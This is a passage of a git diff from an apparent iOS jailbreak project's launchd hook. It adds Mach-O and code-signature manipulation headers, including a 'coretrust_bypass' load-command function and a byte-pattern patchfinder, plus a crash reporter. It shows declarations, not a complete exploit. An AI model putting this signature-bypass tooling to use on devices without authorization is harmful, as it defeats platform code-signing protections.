"sandbox.h": "c", + "libproc_private.h": "c", + "audit.h": "c", + "translation.h": "c" + } +} \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/Makefile b/RootHelperSample/launchdshim/launchdhook/Makefile index 8e431e20..09879d0b 100644 --- a/RootHelperSample/launchdshim/launchdhook/Makefile +++ b/RootHelperSample/launchdshim/launchdhook/Makefile @@ -5,10 +5,10 @@ include $(THEOS)/makefiles/common.mk LIBRARY_NAME = launchdhook -launchdhook_FILES = $(wildcard *.m) $(wildcard *.c) $(wildcard verbose/*.m) +launchdhook_FILES = $(wildcard *.m) $(wildcard *.c) $(wildcard verbose/*.m) $(wildcard jbserver/*.c) $(wildcard jbserver/*.m) $(wildcard fun/*.m) $(wildcard fun/kpf/*.c) $(wildcard fun/kpf/*.m) launchdhook_CFLAGS = -fobjc-arc -isystem "../../../usprebooter/Private Headers I stole from the macOS SDK" -Wno-error launchdhook_CODESIGN_FLAGS = -S../launchdentitlements.plist -launchdhook_LDFLAGS = -F./Frameworks +launchdhook_LDFLAGS = -F./Frameworks -L./ -lbsm -lhooker -framework IOKit launchdhook_EXTRA_FRAMEWORKS += IOMobileFramebuffer IOSurface after-package:: echo "[*] Signing launchd hook" diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Base64.h b/RootHelperSample/launchdshim/launchdhook/choma/Base64.h new file mode 100644 index 00000000..a09d3eaa --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/Base64.h @@ -0,0 +1,11 @@ +#ifndef BASE64_H +#define BASE64_H + +#include +#include + +char *base64_encode(const unsigned char *data, + size_t input_length, + size_t *output_length); + +#endif // BASE64_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h b/RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h new file mode 100644 index 00000000..bfad1b21 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h @@ -0,0 +1,19 @@ +#ifndef BUFFERED_STREAM_H +#define BUFFERED_STREAM_H + +#include "MemoryStream.h" +#include + +#define BUFFERED_STREAM_FLAG_AUTO_EXPAND (1 << 0) + +typedef struct BufferedStreamContext { + uint8_t *buffer; + size_t bufferSize; + uint32_t subBufferStart; + size_t subBufferSize; +} BufferedStreamContext; + +MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags); +MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags); + +#endif // BUFFERED_STREAM_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h b/RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h new file mode 100644 index 00000000..5901e84e --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h @@ -0,0 +1,108 @@ +#ifndef CS_BLOB_H +#define CS_BLOB_H + +#include +#include +#include +#include + +#include "FAT.h" +#include "MachO.h" +#include "MemoryStream.h" + +// Blob index +typedef struct __BlobIndex { + uint32_t type; + uint32_t offset; +} CS_BlobIndex; + +// CMS superblob +typedef struct __SuperBlob { + uint32_t magic; + uint32_t length; + uint32_t count; + CS_BlobIndex index[]; +} CS_SuperBlob; + +typedef struct __GenericBlob { + uint32_t magic; /* magic number */ + uint32_t length; /* total length of blob */ + char data[]; +} CS_GenericBlob; + +// CMS blob magic types +enum { + CSBLOB_REQUIREMENT = 0xfade0c00, + CSBLOB_REQUIREMENTS = 0xfade0c01, + CSBLOB_CODEDIRECTORY = 0xfade0c02, + CSBLOB_EMBEDDED_SIGNATURE = 0xfade0cc0, + CSBLOB_DETACHED_SIGNATURE = 0xfade0cc1, + CSBLOB_ENTITLEMENTS = 0xfade7171, + CSBLOB_DER_ENTITLEMENTS = 0xfade7172, + CSBLOB_SIGNATURE_BLOB = 0xfade0b01 +} CS_BlobType; + +enum { + CSSLOT_CODEDIRECTORY = 0, + CSSLOT_INFOSLOT = 1, + CSSLOT_REQUIREMENTS = 2, + CSSLOT_RESOURCEDIR = 3, + CSSLOT_APPLICATION = 4, + CSSLOT_ENTITLEMENTS = 5, + CSSLOT_DER_ENTITLEMENTS = 7, + CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, + CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, + CSSLOT_SIGNATURESLOT = 0x10000 +} CS_SlotType; + +typedef struct s_CS_DecodedBlob { + struct s_CS_DecodedBlob *next; + uint32_t type; + MemoryStream *stream; +} CS_DecodedBlob; + +typedef struct s_CS_DecodedSuperBlob { + uint32_t magic; + struct s_CS_DecodedBlob *firstBlob; +} CS_DecodedSuperBlob; + +// Convert blob magic to readable blob type string +char *cs_blob_magic_to_string(int magic); + +// Extract Code Signature to file +int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob); + +int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut); + +CS_SuperBlob *macho_read_code_signature(MachO *macho); + +int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob); + +int update_load_commands(MachO *macho, CS_SuperBlob *superblob, uint64_t originalSize); + +CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData); +int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf); +int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf); +int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf); +int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size); +int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString); +int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string); +int csd_blob_get_size(CS_DecodedBlob *blob); +uint32_t csd_blob_get_type(CS_DecodedBlob *blob); +void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type); +void csd_blob_free(CS_DecodedBlob *blob); + +CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob); +CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob); +CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut); +int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob); +int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex); +int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend); +int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove); // <- Important: When calling this, caller is responsible for freeing blobToRemove +int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex); +int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots); +void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob); + + +#endif // CS_BLOB_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h b/RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h new file mode 100644 index 00000000..66eb5538 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h @@ -0,0 +1,53 @@ +#ifndef CODE_DIRECTORY_H +#define CODE_DIRECTORY_H + +#include +#include +#include + +#include "MachO.h" +#include "CSBlob.h" +#include "FAT.h" +#include "MachOByteOrder.h" +#include "MachOLoadCommand.h" +#include "MemoryStream.h" + + +// Code directory blob header +typedef struct __CodeDirectory { + uint32_t magic; + uint32_t length; + uint32_t version; + uint32_t flags; + uint32_t hashOffset; + uint32_t identOffset; + uint32_t nSpecialSlots; + uint32_t nCodeSlots; + uint32_t codeLimit; + uint8_t hashSize; + uint8_t hashType; + uint8_t spare1; + uint8_t pageSize; + uint32_t spare2; + uint32_t scatterOffset; + uint32_t teamOffset; +} CS_CodeDirectory; + +enum CS_HashType { + CS_HASHTYPE_SHA160_160 = 1, + CS_HASHTYPE_SHA256_256 = 2, + CS_HASHTYPE_SHA256_160 = 3, + CS_HASHTYPE_SHA384_384 = 4, +}; + +char *csd_code_directory_copy_identity(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut); +char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut); +int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID); +uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob); +void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags); +uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob); +void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType); +int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots); +void csd_code_directory_update(CS_DecodedBlob *codeDirBlob, MachO *macho); + +#endif // CODE_DIRECTORY_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/FAT.h b/RootHelperSample/launchdshim/launchdhook/choma/FAT.h new file mode 100644 index 00000000..22faf056 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/FAT.h @@ -0,0 +1,41 @@ +#ifndef MACHO_H +#define MACHO_H + +#include +#include +#include +#include +#include +#include + +#include "MemoryStream.h" +typedef struct MachO MachO; + +// A FAT structure can either represent a FAT file with multiple slices, in which the slices will be loaded into the slices attribute +// Or a single slice MachO, in which case it serves as a compatibility layer and the single slice will also be loaded into the slices attribute +typedef struct FAT +{ + MemoryStream *stream; + MachO **slices; + uint32_t slicesCount; + int fileDescriptor; +} FAT; + +int fat_read_at_offset(FAT *fat, uint64_t offset, size_t size, void *outBuf); + +MemoryStream *fat_get_stream(FAT *fat); + +// Initialise a FAT structure from a memory stream +FAT *fat_init_from_memory_stream(MemoryStream *stream); + +// Initialise a FAT structure using the path to the file +FAT *fat_init_from_path(const char *filePath); +//FAT *fat_init_from_path_for_writing(const char *filePath); + +// Find macho with cputype and cpusubtype in FAT, returns NULL if not found +MachO *fat_find_slice(FAT *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype); + +// Free all elements of the FAT structure +void fat_free(FAT *fat); + +#endif // MACHO_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/FileStream.h b/RootHelperSample/launchdshim/launchdhook/choma/FileStream.h new file mode 100644 index 00000000..3cab1eaf --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/FileStream.h @@ -0,0 +1,21 @@ +#ifndef FILE_STREAM_H +#define FILE_STREAM_H + +#include "MemoryStream.h" + +#define FILE_STREAM_SIZE_AUTO 0 +#define FILE_STREAM_FLAG_WRITABLE (1 << 0) +#define FILE_STREAM_FLAG_AUTO_EXPAND (1 << 1) + +typedef struct FileStreamContext { + int fd; + size_t fileSize; + uint32_t bufferStart; + size_t bufferSize; +} FileStreamContext; + +MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags); +MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags); +MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags); + +#endif // FILE_STREAM_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Host.h b/RootHelperSample/launchdshim/launchdhook/choma/Host.h new file mode 100644 index 00000000..56051c09 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/Host.h @@ -0,0 +1,10 @@ +#ifndef HOST_H +#define HOST_H + +#include "FAT.h" + +// Retrieve the preferred MachO slice from a FAT +// Preferred slice as in the slice that the kernel would use when loading the file +MachO *fat_find_preferred_slice(FAT *fat); + +#endif // HOST_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MachO.h b/RootHelperSample/launchdshim/launchdhook/choma/MachO.h new file mode 100644 index 00000000..5b929233 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/MachO.h @@ -0,0 +1,62 @@ +#ifndef MACHO_SLICE_H +#define MACHO_SLICE_H + +#include +#include +#include +#include "MemoryStream.h" +#include "FAT.h" + +typedef struct MachOSegment +{ + struct segment_command_64 command; + struct section_64 sections[]; +} __attribute__((__packed__)) MachOSegment; + +typedef struct FilesetMachO { + char *entry_id; + uint64_t vmaddr; + uint64_t fileoff; + FAT *underlyingMachO; +} FilesetMachO; + +typedef struct MachO { + MemoryStream *stream; + bool isSupported; + struct mach_header_64 machHeader; + struct fat_arch_64 archDescriptor; + + uint32_t filesetCount; + FilesetMachO *filesetMachos; + + uint32_t segmentCount; + MachOSegment **segments; +} MachO; + +// Read data from a MachO at a specified offset +int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf); + +// Write data from a MachO at a specified offset, auto expands, only works if opened via macho_init_for_writing +int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, void *inBuf); + +MemoryStream *macho_get_stream(MachO *macho); +uint32_t macho_get_filetype(MachO *macho); + +// Perform translation between file offsets and virtual addresses +int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut); +int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut); + +// Read data from a MachO at a specified virtual address +int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf); + +int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop)); + +// Initialise a MachO object from a MemoryStream and it's corresponding FAT arch descriptor +MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor); + +// Initialize a single slice macho for writing to it +MachO *macho_init_for_writing(const char *filePath); + +void macho_free(MachO *macho); + +#endif // MACHO_SLICE_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h b/RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h new file mode 100644 index 00000000..394dba7d --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h @@ -0,0 +1,164 @@ +#ifndef MACHO_BYTE_ORDER_H +#define MACHO_BYTE_ORDER_H + +#include +#include + +// 8-bit integers needed for CodeDirectory +#define BIG_TO_HOST(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapBigToHostInt16(n), \ + uint16_t: OSSwapBigToHostInt16(n), \ + int32_t: OSSwapBigToHostInt32(n), \ + uint32_t: OSSwapBigToHostInt32(n), \ + int64_t: OSSwapBigToHostInt64(n), \ + uint64_t: OSSwapBigToHostInt64(n) \ +) + +#define HOST_TO_BIG(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + uint16_t: OSSwapHostToBigInt16(n), \ + int16_t: OSSwapHostToBigInt16(n), \ + int32_t: OSSwapHostToBigInt32(n), \ + uint32_t: OSSwapHostToBigInt32(n), \ + int64_t: OSSwapHostToBigInt64(n), \ + uint64_t: OSSwapHostToBigInt64(n) \ +) + +#define LITTLE_TO_HOST(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapLittleToHostInt16(n), \ + uint16_t: OSSwapLittleToHostInt16(n), \ + int32_t: OSSwapLittleToHostInt32(n), \ + uint32_t: OSSwapLittleToHostInt32(n), \ + int64_t: OSSwapLittleToHostInt64(n), \ + uint64_t: OSSwapLittleToHostInt64(n) \ +) + +#define HOST_TO_LITTLE(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapHostToLittleInt16(n), \ + uint16_t: OSSwapHostToLittleInt16(n), \ + int32_t: OSSwapHostToLittleInt32(n), \ + uint32_t: OSSwapHostToLittleInt32(n), \ + int64_t: OSSwapHostToLittleInt64(n), \ + uint64_t: OSSwapHostToLittleInt64(n) \ +) + +#define HOST_TO_LITTLE_APPLIER(instance, member) \ + (instance)->member = HOST_TO_LITTLE((instance)->member) + +#define HOST_TO_BIG_APPLIER(instance, member) \ + (instance)->member = HOST_TO_BIG((instance)->member) + +#define LITTLE_TO_HOST_APPLIER(instance, member) \ + (instance)->member = LITTLE_TO_HOST((instance)->member) + +#define BIG_TO_HOST_APPLIER(instance, member) \ + (instance)->member = BIG_TO_HOST((instance)->member) + +#define FAT_HEADER_APPLY_BYTE_ORDER(fh, applier) \ + applier(fh, magic); \ + applier(fh, nfat_arch); + +#define FAT_ARCH_APPLY_BYTE_ORDER(arch, applier) \ + applier(arch, cputype); \ + applier(arch, cpusubtype); \ + applier(arch, offset); \ + applier(arch, size); \ + applier(arch, align); \ + +#define FAT_ARCH_64_APPLY_BYTE_ORDER(arch, applier) \ + applier(arch, cputype); \ + applier(arch, cpusubtype); \ + applier(arch, offset); \ + applier(arch, size); \ + applier(arch, align); \ + applier(arch, reserved); \ + +#define MACH_HEADER_APPLY_BYTE_ORDER(mh, applier) \ + applier(mh, magic); \ + applier(mh, cputype); \ + applier(mh, cpusubtype); \ + applier(mh, filetype); \ + applier(mh, ncmds); \ + applier(mh, sizeofcmds); \ + applier(mh, reserved); + +#define LOAD_COMMAND_APPLY_BYTE_ORDER(lc, applier) \ + applier(lc, cmd); \ + applier(lc, cmdsize); + +#define LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(lc, applier) \ + applier(lc, cmd); \ + applier(lc, cmdsize); \ + applier(lc, dataoff); \ + applier(lc, datasize); + +#define BLOB_INDEX_APPLY_BYTE_ORDER(bi, applier) \ + applier(bi, type); \ + applier(bi, offset); + +#define SUPERBLOB_APPLY_BYTE_ORDER(sb, applier) \ + applier(sb, magic); \ + applier(sb, length); \ + applier(sb, count); + +#define GENERIC_BLOB_APPLY_BYTE_ORDER(gb, applier) \ + applier(gb, magic); \ + applier(gb, length); + +#define CODE_DIRECTORY_APPLY_BYTE_ORDER(cd, applier) \ + applier(cd, magic); \ + applier(cd, length); \ + applier(cd, version); \ + applier(cd, flags); \ + applier(cd, hashOffset); \ + applier(cd, identOffset); \ + applier(cd, nSpecialSlots); \ + applier(cd, nCodeSlots); \ + applier(cd, codeLimit); \ + applier(cd, hashSize); \ + applier(cd, hashType); \ + applier(cd, spare1); \ + applier(cd, pageSize); \ + applier(cd, spare2); \ + applier(cd, scatterOffset); \ + applier(cd, teamOffset); + +#define SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(sc64, applier) \ + applier(sc64, cmd); \ + applier(sc64, cmdsize); \ + applier(sc64, fileoff); \ + applier(sc64, filesize); \ + applier(sc64, vmaddr); \ + applier(sc64, vmsize); \ + applier(sc64, flags); \ + applier(sc64, initprot); \ + applier(sc64, maxprot); \ + applier(sc64, nsects); + +#define SECTION_64_APPLY_BYTE_ORDER(sc64, applier) \ + applier(sc64, addr); \ + applier(sc64, align); \ + applier(sc64, flags); \ + applier(sc64, nreloc); \ + applier(sc64, offset); \ + applier(sc64, reserved1); \ + applier(sc64, reserved2); \ + applier(sc64, reserved3); \ + applier(sc64, size); + +#define FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(fse, applier) \ + applier(fse, cmd); \ + applier(fse, cmdsize); \ + applier(fse, vmaddr); \ + applier(fse, fileoff); \ + applier(fse, entry_id.offset); \ + applier(fse, reserved); \ + +#endif // MACHO_BYTE_ORDER_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h b/RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h new file mode 100644 index 00000000..d07ccbde --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h @@ -0,0 +1,16 @@ +#ifndef MACHO_LOAD_COMMAND_H +#define MACHO_LOAD_COMMAND_H + +#include +#include "MachO.h" +#include "CSBlob.h" +#include "FileStream.h" +#include "MachOByteOrder.h" + +// Convert load command to load command name +char *load_command_to_string(int loadCommand); +void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize); +void update_lc_code_signature(MachO *macho, uint64_t size); +int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize, uint64_t originalMachOSize); + +#endif // MACHO_LOAD_COMMAND_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h b/RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h new file mode 100644 index 00000000..b6326fb0 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h @@ -0,0 +1,60 @@ +#ifndef MEMORY_STREAM_H +#define MEMORY_STREAM_H + +#include +#include +#include +#include +#include +#include +#include + +#define MEMORY_STREAM_FLAG_OWNS_DATA (1 << 0) +#define MEMORY_STREAM_FLAG_MUTABLE (1 << 1) +#define MEMORY_STREAM_FLAG_AUTO_EXPAND (1 << 2) + +#define MEMORY_STREAM_SIZE_INVALID (size_t)-1 + +// A generic memory IO interface that is used throughout this project +// Can be backed by anything, just the functions have to be implemented +typedef struct s_MemoryStream { + void *context; + uint32_t flags; + + int (*read)(struct s_MemoryStream *stream, uint64_t offset, size_t size, void *outBuf); + int (*write)(struct s_MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); + int (*getSize)(struct s_MemoryStream *stream, size_t *sizeOut); + uint8_t *(*getRawPtr)(struct s_MemoryStream *stream); + + int (*trim)(struct s_MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd); + int (*expand)(struct s_MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + + struct s_MemoryStream *(*hardclone)(struct s_MemoryStream *stream); + struct s_MemoryStream *(*softclone)(struct s_MemoryStream *stream); + void (*free)(struct s_MemoryStream *stream); +} MemoryStream; + +int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf); +int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); + +int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); +int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size); + +int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString); +int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string); + +size_t memory_stream_get_size(MemoryStream *stream); +uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream); +uint32_t memory_stream_get_flags(MemoryStream *stream); + +MemoryStream *memory_stream_softclone(MemoryStream *stream); +MemoryStream *memory_stream_hardclone(MemoryStream *stream); +int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd); +int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + +void memory_stream_free(MemoryStream *stream); + +int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size); +int memory_stream_find_memory(MemoryStream *stream, uint64_t searchOffset, size_t searchSize, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut); + +#endif // MEMORY_STREAM_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h b/RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h new file mode 100644 index 00000000..b2ddd60e --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h @@ -0,0 +1,44 @@ +#include +#include "MachO.h" + +#define METRIC_TYPE_PATTERN 1 +#define METRIC_TYPE_STRING_XREF 2 +#define METRIC_TYPE_FUNCTION_XREF 3 + +typedef struct PFSection { + uint64_t fileoff; + uint64_t vmaddr; + uint64_t size; + uint8_t *cache; + bool ownsCache; +} PFSection; + +PFSection *macho_patchfinder_create_section(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName); +int macho_patchfinder_cache_section(PFSection *section, MachO *fromMacho); +void macho_patchfinder_section_free(PFSection *section); + +typedef struct MetricShared { + uint32_t type; + PFSection *section; +} MetricShared; + + +typedef enum { + BYTE_PATTERN_ALIGN_8_BIT, + BYTE_PATTERN_ALIGN_16_BIT, + BYTE_PATTERN_ALIGN_32_BIT, + BYTE_PATTERN_ALIGN_64_BIT, +} BytePatternAlignment; + +typedef struct BytePatternMetric { + MetricShared shared; + + void *bytes; + void *mask; + size_t nbytes; + BytePatternAlignment alignment; +} BytePatternMetric; + +BytePatternMetric *macho_patchfinder_create_byte_pattern_metric(PFSection *section, void *bytes, void *mask, size_t nbytes, BytePatternAlignment alignment); + +void macho_patchfinder_run_metric(MachO *macho, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)); diff --git a/RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h b/RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h new file mode 100644 index 00000000..00afe5fa --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h @@ -0,0 +1,16 @@ +#ifndef SIGN_OSSL_H +#define SIGN_OSSL_H + +#include +#include +#include +#include +#include +#include +#include + +unsigned char *signWithRSA(unsigned char *inputData, size_t inputDataLength, unsigned char *key, size_t key_len, size_t *outputDataLength); + +#endif // SIGN_OSSL_H + +// 0xA422 \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Signing.h b/RootHelperSample/launchdshim/launchdhook/choma/Signing.h new file mode 100644 index 00000000..5a0d6706 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/Signing.h @@ -0,0 +1,12 @@ +#ifndef SIGNING_H +#define SIGNING_H + +#include +#include +#include +#include +#include + +// int signWithRSA(const char *certificateFile, const char *inputFile, const char *outputFile); + +#endif // SIGNING_H \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Util.h b/RootHelperSample/launchdshim/launchdhook/choma/Util.h new file mode 100644 index 00000000..acca0ab9 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/choma/Util.h @@ -0,0 +1,6 @@ +#include +#include + +uint64_t align_to_size(int size, int alignment); +int count_digits(int64_t num); +void print_hash(uint8_t *hash, size_t size); \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/crashreporter.h b/RootHelperSample/launchdshim/launchdhook/crashreporter.h new file mode 100644 index 00000000..3ca6ed9e --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/crashreporter.h @@ -0,0 +1,46 @@ +#import +#include + +typedef int exception_type_t; +typedef integer_t exception_data_type_t; + +typedef struct { + mach_msg_header_t header; + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t thread; + mach_msg_port_descriptor_t task; + int unused1; + exception_type_t exception; + exception_data_type_t code; + int unused2; + int subcode; + NDR_record_t ndr; +} exception_raise_request; // the bits we need at least + +typedef struct { + mach_msg_header_t header; + NDR_record_t ndr; + kern_return_t retcode; +} exception_raise_reply; + +typedef struct { + mach_msg_header_t header; + NDR_record_t ndr; + kern_return_t retcode; + int flavor; + mach_msg_type_number_t new_stateCnt; + natural_t new_state[614]; +} exception_raise_state_reply; + +typedef enum { + kCrashReporterStateNotActive = 0, + kCrashReporterStateActive = 1, + kCrashReporterStatePaused = 2 +} crash_reporter_state; + +void crashreporter_start(void); +void crashreporter_pause(void); +void crashreporter_resume(void); + +FILE *crashreporter_open_outfile(const char *source, char **nameOut); +void crashreporter_save_outfile(FILE *f); \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/crashreporter.m b/RootHelperSample/launchdshim/launchdhook/crashreporter.m new file mode 100644 index 00000000..35683101 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/crashreporter.m @@ -0,0 +1,390 @@ +#include "crashreporter.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +extern CFStringRef CFCopySystemVersionString(void); + +void abort_with_reason(uint32_t reason_namespace, uint64_t reason_code, const char *reason_string, uint64_t reason_flags); + +#import + +static NSUncaughtExceptionHandler* defaultNSExceptionHandler = NULL; + +#define INSTACK(a) ((a) >= stackbot && (a) <= stacktop) +#if defined(__x86_64__) +#define ISALIGNED(a) ((((uintptr_t)(a)) & 0xf) == 0) +#elif defined(__i386__) +#define ISALIGNED(a) ((((uintptr_t)(a)) & 0xf) == 8) +#elif defined(__arm__) || defined(__arm64__) +#define ISALIGNED(a) ((((uintptr_t)(a)) & 0x1) == 0) +#endif + +#define EXC_MASK_CRASH_RELATED (EXC_MASK_BAD_ACCESS | \ + EXC_MASK_BAD_INSTRUCTION | \ + EXC_MASK_ARITHMETIC | \ + EXC_MASK_EMULATION | \ + EXC_MASK_SOFTWARE | \ + EXC_MASK_BREAKPOINT) + +__attribute__((noinline)) +static void pthread_backtrace(pthread_t pthread, vm_address_t *buffer, unsigned max, unsigned *nb, + unsigned skip, void *startfp) +{ + void *frame, *next; + void *stacktop = pthread_get_stackaddr_np(pthread); + void *stackbot = stacktop - pthread_get_stacksize_np(pthread); + + *nb = 0; + + // Rely on the fact that our caller has an empty stackframe (no local vars) + // to determine the minimum size of a stackframe (frame ptr & return addr) + frame = startfp; + next = (void*)pthread_stack_frame_decode_np((uintptr_t)frame, NULL); + + /* make sure return address is never out of bounds */ + stacktop -= (next - frame); + + if(!INSTACK(frame) || !ISALIGNED(frame)) + return; + while (startfp || skip--) { + if (startfp && startfp < next) break; + if(!INSTACK(next) || !ISALIGNED(next) || next <= frame) + return; + frame = next; + next = 